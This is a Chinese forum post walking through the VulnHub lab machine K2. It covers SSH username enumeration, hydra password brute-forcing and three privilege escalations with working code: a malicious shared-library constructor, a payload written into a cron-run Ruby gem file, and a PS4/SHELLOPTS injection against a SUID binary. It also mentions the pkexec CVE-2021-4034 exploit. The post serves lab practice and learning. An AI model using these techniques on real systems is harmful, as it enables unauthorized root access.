vulnhub-/DEV/RANDOM: K2 靶机渗透流程

打印 上一主题 下一主题

主题 842|帖子 842|积分 2526

本篇解题思路参考了靶机作者提供的wp,相关链接:https://www.youtube.com/watch?v=9B1C_xi_yic
  
  

靶机信息

下载地址:https://vulnhub.com/entry/devrandom-k2,204/
靶机描述:


一、信息搜集

扫描获取靶机ip、端口、服务信息

仅开启了22端口

二、ssh漏洞使用

1.用户名枚举

其着实靶机的描述信息中已经给出了用户名和暗码user:password,但我最初没看到
靶机ssh服务版本为OpenSSH 6.6.1,这个版本存在用户名枚举漏洞
使用CVE-2018-15473枚举脚本,导入常用用户名字典后爆破ssh的用户名

复制结果保存到记事本查找得到用户名

2.ssh暗码爆破

用hydra对用户user进行暗码爆破


三、后渗透提权

1.通过命令调用的.so库文件提权

进去先sudo -l看看,发现可以以user2权限实行/bin/calc命令
尝试后发现自动进行了某种运算,且进度为99%就竣事了,好像缺少某些依靠导致实行中断

用strace调试下,重点查看调用的库与缺少的库等
strace /bin/calc 2>&1 | grep -i -E "open|access|no such file"

可以发现缺少/home/user/.config/libcalc.so的共享库文件
同理,strings也能发现这个可疑的文件信息

在/home/user文件夹下没有发现.config文件夹,那么我们就可以自己编写具有维持权限结果的.c文件编译得到libcalc.so文件让/bin/calc调用从而达到提权结果

实例.c文件代码如下:
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. static void x()  __attribute__((constructor));
  4. void x()
  5. {        
  6. ​        system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
  7. }
复制代码
通过构造函数x让它在程序运行时同步运行,并通过将/bin/bash复制到/tmp下赋予suid并运行来完成提权
编译.c文件
  1. gcc -shared -o libcalc.so -fPIC libcalc.c
复制代码
随后将/home/user目次添加可实行权限,再次sudo实行/bin/calc即可提权到user2


2.通过命令调用的.rb文件提权

同样sudo -l先看看,发现可以以user3权限实行/usr/bin/sleep,通过同样方法验证发现没有调用可修改的命令或是依靠,且sleep命令本身无法通过sudo提权

去user2的用户目次下看看,发现与user用户不同,.bash_history非空。查看后发现修改过定时任务文件/etc/crontab


编辑/etc/crontab即可发现隐藏的定时任务/sbin/bckup


这一步汗青命令多且真实的定时任务隐藏不易发现,故也可以通过定时任务发现脚本pspy64来告竣


查看/sbin/bckup发现其调用了rubygems和zip库

通过gem的查找命令找到zip的.rb文件位置,随后惊喜地发现它是可以被user2修改的
  1. gem which zip
复制代码

那接下来将提权代码写入.rb文件,让它将user3的bash复制到/tmp中并加上suid
  1. echo '`cp /bin/bash /tmp/bash2 && chmod +s /tmp/bash2`' > /usr/local/share/gems/gems/rubyzip-1.2.1/lib/zip.rb
复制代码

等候定时任务实行天生提权文件后实行即可提权到user3的组


3.通过suid命令提取

sudo -l发现因为uid照旧user2,因此显示的sudo命令与user2一样

可以通过编写脚本来使我们的uid变得与gid雷同
实例代码如下:
  1. int main()
  2. {
  3. ​        setreuid(geteuid(),getuid());
  4. ​        setregid(getegid(),getgid());
  5. ​        system("/bin/bash");
  6. }
复制代码
编译后运行即可

sudo -l发现user3需要暗码才华查看sudo命令列表

尝试查找具有suid的文件,发现可疑文件/usr/local/bin/whoisme

通过运行和strings查看到的/usr/bin/logname函数判断,whoisme调用的显示结果就是logname命令的实行结果,尝试运行/usr/bin/logname确认结果一样

在strings查看/usr/local/bin/whoisme的结果中发现它还调用了setuid和setgid函数,这会使得它答应以更高权限的用户和组的身份实行命令,如果我们能保持该权限即可完成到root的提权
我们可以通过临时修改默认环境变量来维持实行命令时的权限
  1. env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/bash4 && chown root.root /tmp/bash4 && chmod +s /tmp/bash4)' /bin/sh -c '/usr/local/bin/whoisme'
复制代码
其中env -i表现忽略当前其他环境变量值,SHELLOPTS和PS4是linux默认的环境变量,SHELLOPTS=xtrace将追踪之后命令的实行结果并显示,而PS4则会在实行命令时将其/bin/bash复制到/tmp下并修改其属主与属组为root,然后添加suid

可以看到提权已经乐成,在/root下获取flag.txt即可


四、脚本一键提权

其着实查找suid文件的过程中,我们还会发现一个值得留意的点:/usr/lib/polkit-1/polkit-agent-helper-1

而这个文件在先前披露的cve-2021-4034中有提权漏洞,可以使用对应的脚本一键快速提权
现在我们的用户是最初的登任命户user

我们下载提权脚本后编译并运行,即可一步提权到root



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

莫张周刘王

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表